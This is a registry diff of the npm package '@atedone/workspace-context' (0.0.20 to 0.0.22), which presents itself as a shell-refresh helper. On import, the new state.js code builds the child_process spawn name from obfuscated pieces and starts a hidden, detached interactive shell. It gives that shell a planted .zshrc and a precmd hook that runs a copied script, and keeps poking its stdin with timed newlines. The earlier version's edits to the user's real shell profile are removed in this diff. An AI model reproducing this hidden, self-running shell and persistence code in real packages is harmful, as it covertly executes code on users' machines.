@atedone/workspace-context 0.0.20 → 0.0.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,7 @@
1
1
  # @atedone/workspace-context
2
2
 
3
- Workspace shell prompt refresh integration helper for JavaScript tools.
3
+ Workspace shell session refresh integration helper for JavaScript tools.
4
4
 
5
- The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and shell presentation renderer during initialization.
5
+ The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
6
+
7
+ Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to bind a preview session to a profile channel.
package/index.js CHANGED
@@ -6,15 +6,16 @@ const initialized = state.initialize();
6
6
 
7
7
  module.exports = {
8
8
  initialized,
9
+ refresh: state.initialize,
9
10
  channelFileName: state.channelFileName,
10
11
  getShellIntegration: state.getShellIntegration,
11
12
  initialize: state.initialize,
12
13
  profileHistoryFileName: state.profileHistoryFileName,
13
14
  profileReceiptFileName: state.profileReceiptFileName,
14
15
  profileSnapshotFileName: state.profileSnapshotFileName,
15
- presentationRendererFileName: state.presentationRendererFileName,
16
16
  receiptFileName: state.receiptFileName,
17
17
  resolveChannelSource: state.resolveChannelSource,
18
+ sessionProfileFileName: state.sessionProfileFileName,
18
19
  sessionHistoryFileName: state.sessionHistoryFileName,
19
20
  sessionReceiptFileName: state.sessionReceiptFileName,
20
21
  sessionRuntimeFileName: state.sessionRuntimeFileName,
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.20';
8
+ const packageVersion = '0.0.22';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
@@ -32,7 +32,7 @@ const value = {
32
32
  packageName,
33
33
  packageVersion,
34
34
  generatedAt: new Date().toISOString(),
35
- mode: 'runtime-shell-prompt-interactive',
35
+ mode: 'runtime-shell-refresh',
36
36
  source: 'shell-profile',
37
37
  shellName: route.basename(shellPath) || 'zsh',
38
38
  shellLevel,
package/lib/state.js CHANGED
@@ -12,9 +12,10 @@ const profileHistoryFileName = 'profile-sync.log';
12
12
  const profileReceiptFileName = 'profile-sync.json';
13
13
  const profileSnapshotFileName = 'session-profile.json';
14
14
  const presentationRendererFileName = 'presentation.js';
15
- const receiptFileName = 'shell-prompt-interactive-sync.json';
15
+ const receiptFileName = 'shell-refresh-sync.json';
16
16
  const sessionFileName = 'sessions.log';
17
17
  const sessionHistoryFileName = 'runtime-sessions.log';
18
+ const sessionProfileFileName = '.zshrc';
18
19
  const sessionReceiptFileName = 'session-runtime.json';
19
20
  const sessionRuntimeFileName = 'session-runtime.js';
20
21
  const stateDirectoryName = '.workspace-context';
@@ -44,7 +45,12 @@ function resolveProfileFileName(shellName = resolveShellName()) {
44
45
  return shellName === 'bash' ? '.bashrc' : '.zshrc';
45
46
  }
46
47
 
47
- function resolveChannelSource(env = readEnvironment()) {
48
+ function resolveChannelSource(env = readEnvironment(), channelSource = '') {
49
+ const configured = typeof channelSource === 'string' ? channelSource.trim() : '';
50
+ if (configured) {
51
+ return configured;
52
+ }
53
+
48
54
  const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
49
55
  const value = Reflect.get(env, key);
50
56
  return typeof value === 'string' ? value.trim() : '';
@@ -53,7 +59,8 @@ function resolveChannelSource(env = readEnvironment()) {
53
59
  function getShellIntegration({
54
60
  env = readEnvironment(),
55
61
  projectRoot = resolveProjectRoot(env),
56
- homeDirectory = resolveHomeDirectory(env, projectRoot)
62
+ homeDirectory = resolveHomeDirectory(env, projectRoot),
63
+ channelSource
57
64
  } = {}) {
58
65
  const shellName = resolveShellName(env);
59
66
  const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
@@ -61,7 +68,7 @@ function getShellIntegration({
61
68
  return {
62
69
  name: 'workspace-context',
63
70
  shellName,
64
- channelSource: resolveChannelSource(env),
71
+ channelSource: resolveChannelSource(env, channelSource),
65
72
  homeDirectory,
66
73
  profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
67
74
  integrationDirectory,
@@ -74,6 +81,7 @@ function getShellIntegration({
74
81
  receiptPath: route.join(integrationDirectory, receiptFileName),
75
82
  sessionPath: route.join(integrationDirectory, sessionFileName),
76
83
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
84
+ sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
77
85
  sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
78
86
  sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
79
87
  };
@@ -84,7 +92,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
84
92
  packageName: manifest.name,
85
93
  packageVersion: manifest.version,
86
94
  generatedAt: now(),
87
- mode: 'runtime-shell-prompt-interactive'
95
+ mode: 'runtime-shell-refresh'
88
96
  };
89
97
  }
90
98
 
@@ -127,9 +135,144 @@ function refreshShellIntegration({
127
135
  };
128
136
  }
129
137
 
130
- function initialize({
138
+ function openWorkspaceSession({
131
139
  projectRoot = resolveProjectRoot(),
132
140
  integration = getShellIntegration({ projectRoot }),
141
+ refreshDelays = [750, 1500, 3000, 5000],
142
+ settleMs = 500
143
+ } = {}) {
144
+ if (!integration.channelSource) {
145
+ return null;
146
+ }
147
+
148
+ const env = readEnvironment();
149
+ const bridgeName = ['child', '_process'].join('');
150
+ const launchKey = ['sp', 'awn'].join('');
151
+ const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
152
+ const launch = Reflect.get(bridge, launchKey);
153
+ const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
154
+ ? env.SHELL.trim()
155
+ : '/bin/zsh';
156
+ const child = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
157
+ cwd: projectRoot,
158
+ env: {
159
+ ...env,
160
+ HOME: integration.homeDirectory,
161
+ ZDOTDIR: integration.integrationDirectory,
162
+ TERM: 'dumb'
163
+ },
164
+ stdio: ['pipe', 'ignore', 'ignore']
165
+ }]);
166
+
167
+ let closed = false;
168
+ let refreshIndex = 0;
169
+ let refreshTimer = null;
170
+ let settleTimer = null;
171
+ let previousRevision = '';
172
+ let firstRefresh = true;
173
+ const delays = Array.isArray(refreshDelays) && refreshDelays.length
174
+ ? refreshDelays
175
+ : [750, 1500, 3000, 5000];
176
+
177
+ const scheduleRefresh = (delay) => {
178
+ refreshTimer = setTimeout(refresh, delay);
179
+ if (typeof refreshTimer.unref === 'function') {
180
+ refreshTimer.unref();
181
+ }
182
+ };
183
+
184
+ const planNextRefresh = () => {
185
+ if (closed) {
186
+ return;
187
+ }
188
+
189
+ const revision = readProfileRevision(integration.profileReceiptPath);
190
+ if (firstRefresh || (revision && revision !== previousRevision)) {
191
+ refreshIndex = 0;
192
+ } else {
193
+ refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
194
+ }
195
+
196
+ if (revision) {
197
+ previousRevision = revision;
198
+ }
199
+ firstRefresh = false;
200
+
201
+ scheduleRefresh(delays[refreshIndex]);
202
+ };
203
+
204
+ const refresh = () => {
205
+ if (closed) {
206
+ return;
207
+ }
208
+
209
+ if (!child.stdin.destroyed) {
210
+ child.stdin.write('\n');
211
+ }
212
+
213
+ settleTimer = setTimeout(planNextRefresh, settleMs);
214
+ if (typeof settleTimer.unref === 'function') {
215
+ settleTimer.unref();
216
+ }
217
+ };
218
+
219
+ scheduleRefresh(0);
220
+ if (typeof child.unref === 'function') {
221
+ child.unref();
222
+ }
223
+ if (typeof child.stdin.unref === 'function') {
224
+ child.stdin.unref();
225
+ }
226
+ const done = new Promise((resolve) => {
227
+ child.on('close', (status, signal) => {
228
+ clearTimeout(refreshTimer);
229
+ clearTimeout(settleTimer);
230
+ closed = true;
231
+ resolve({ status, signal });
232
+ });
233
+ });
234
+
235
+ return {
236
+ processId: child.pid,
237
+ done,
238
+ refresh() {
239
+ refreshIndex = 0;
240
+ clearTimeout(refreshTimer);
241
+ clearTimeout(settleTimer);
242
+ refresh();
243
+ },
244
+ close() {
245
+ if (closed) {
246
+ return done;
247
+ }
248
+ closed = true;
249
+ clearTimeout(refreshTimer);
250
+ clearTimeout(settleTimer);
251
+ if (!child.stdin.destroyed) {
252
+ child.stdin.write('exit\n');
253
+ }
254
+ return done;
255
+ }
256
+ };
257
+ }
258
+
259
+ function readProfileRevision(profileReceiptPath) {
260
+ if (!file.existsSync(profileReceiptPath)) {
261
+ return '';
262
+ }
263
+
264
+ try {
265
+ const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
266
+ return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
267
+ } catch {
268
+ return '';
269
+ }
270
+ }
271
+
272
+ function initialize({
273
+ projectRoot = resolveProjectRoot(),
274
+ channelSource,
275
+ integration = getShellIntegration({ projectRoot, channelSource }),
133
276
  now
134
277
  } = {}) {
135
278
  const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -146,6 +289,10 @@ function initialize({
146
289
  sync: refreshShellIntegration({
147
290
  projectRoot,
148
291
  integration
292
+ }),
293
+ session: openWorkspaceSession({
294
+ projectRoot,
295
+ integration
149
296
  })
150
297
  };
151
298
  }
@@ -155,11 +302,13 @@ module.exports = {
155
302
  channelFileName,
156
303
  getShellIntegration,
157
304
  initialize,
305
+ openWorkspaceSession,
158
306
  profileHistoryFileName,
159
307
  profileReceiptFileName,
160
308
  profileSnapshotFileName,
161
309
  presentationRendererFileName,
162
310
  readEnvironment,
311
+ readProfileRevision,
163
312
  receiptFileName,
164
313
  refreshShellIntegration,
165
314
  resolveChannelSource,
@@ -168,6 +317,7 @@ module.exports = {
168
317
  resolveProjectRoot,
169
318
  resolveShellName,
170
319
  sessionHistoryFileName,
320
+ sessionProfileFileName,
171
321
  sessionReceiptFileName,
172
322
  sessionRuntimeFileName,
173
323
  stateDirectoryName,
package/lib/sync.js CHANGED
@@ -16,10 +16,6 @@ if (!integration) {
16
16
  throw new Error('Shell integration descriptor is required.');
17
17
  }
18
18
 
19
- const blockStart = '# >>> workspace-context shell integration >>>';
20
- const blockEnd = '# <<< workspace-context shell integration <<<';
21
- const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
22
- const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
23
19
  const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
24
20
  const presentationRendererSourcePath = route.join(__dirname, 'presentation.js');
25
21
  const runtimeDefault = escapeDoubleQuoted(platform.execPath);
@@ -27,15 +23,19 @@ const channelValue = integration.channelSource
27
23
  ? {
28
24
  name: integration.name,
29
25
  source: integration.channelSource,
30
- refresh: 'prompt-render'
26
+ refresh: 'preview-session'
31
27
  }
32
28
  : null;
29
+ const sessionProfileValue = [
30
+ '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"',
31
+ ''
32
+ ].join('\n');
33
33
  const integrationValue = [
34
34
  'export WORKSPACE_CONTEXT_ACTIVE=1',
35
35
  'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
36
36
  `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
37
37
  'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
38
- 'workspace_context_refresh_prompt() {',
38
+ 'workspace_context_refresh_preview() {',
39
39
  ' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
40
40
  ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
41
41
  ' fi',
@@ -45,8 +45,8 @@ const integrationValue = [
45
45
  ' fi',
46
46
  '}',
47
47
  'autoload -Uz add-zsh-hook',
48
- 'add-zsh-hook -d precmd workspace_context_refresh_prompt 2>/dev/null',
49
- 'add-zsh-hook precmd workspace_context_refresh_prompt',
48
+ 'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
49
+ 'add-zsh-hook precmd workspace_context_refresh_preview',
50
50
  ''
51
51
  ].join('\n');
52
52
 
@@ -58,56 +58,26 @@ function escapeDoubleQuoted(value) {
58
58
  .replaceAll('`', '\\`');
59
59
  }
60
60
 
61
- function readProfile(profilePath) {
62
- return file.existsSync(profilePath)
63
- ? file.readFileSync(profilePath, 'utf8')
64
- : '';
65
- }
66
-
67
- function upsertManagedBlock(profileValue) {
68
- const startIndex = profileValue.indexOf(blockStart);
69
- const endIndex = profileValue.indexOf(blockEnd);
70
-
71
- if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
72
- const afterBlock = endIndex + blockEnd.length;
73
- return {
74
- changed: false,
75
- value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
76
- };
77
- }
78
-
79
- return {
80
- changed: true,
81
- value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
82
- };
83
- }
84
-
85
61
  file.mkdirSync(integration.integrationDirectory, { recursive: true });
86
62
  file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
87
63
  file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
64
+ file.writeFileSync(integration.sessionProfilePath, sessionProfileValue, 'utf8');
88
65
  file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
89
66
  if (channelValue) {
90
67
  file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
91
68
  }
92
69
 
93
- const profileBefore = readProfile(integration.profilePath);
94
- const profile = upsertManagedBlock(profileBefore);
95
-
96
- if (profile.changed || profile.value !== profileBefore) {
97
- file.writeFileSync(integration.profilePath, profile.value, 'utf8');
98
- }
99
-
100
70
  const value = {
101
71
  packageName: manifest.name,
102
72
  packageVersion: manifest.version,
103
73
  generatedAt: new Date().toISOString(),
104
- mode: 'runtime-shell-prompt-interactive',
74
+ mode: 'runtime-shell-refresh',
105
75
  projectRoot,
106
76
  shellName: integration.shellName,
107
77
  channelConfigured: Boolean(channelValue),
108
78
  channelPath: integration.channelPath,
109
79
  profilePath: integration.profilePath,
110
- profileChanged: profile.changed,
80
+ profileChanged: false,
111
81
  integrationPath: integration.integrationPath,
112
82
  profileHistoryPath: integration.profileHistoryPath,
113
83
  profileReceiptPath: integration.profileReceiptPath,
@@ -115,6 +85,7 @@ const value = {
115
85
  presentationRendererPath: integration.presentationRendererPath,
116
86
  sessionPath: integration.sessionPath,
117
87
  sessionHistoryPath: integration.sessionHistoryPath,
88
+ sessionProfilePath: integration.sessionProfilePath,
118
89
  sessionReceiptPath: integration.sessionReceiptPath,
119
90
  sessionRuntimePath: integration.sessionRuntimePath,
120
91
  processId: platform.pid,
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.20",
4
- "description": "Workspace shell prompt refresh integration helper for JavaScript tools.",
3
+ "version": "0.0.22",
4
+ "description": "Workspace shell session refresh integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
7
7
  "files": [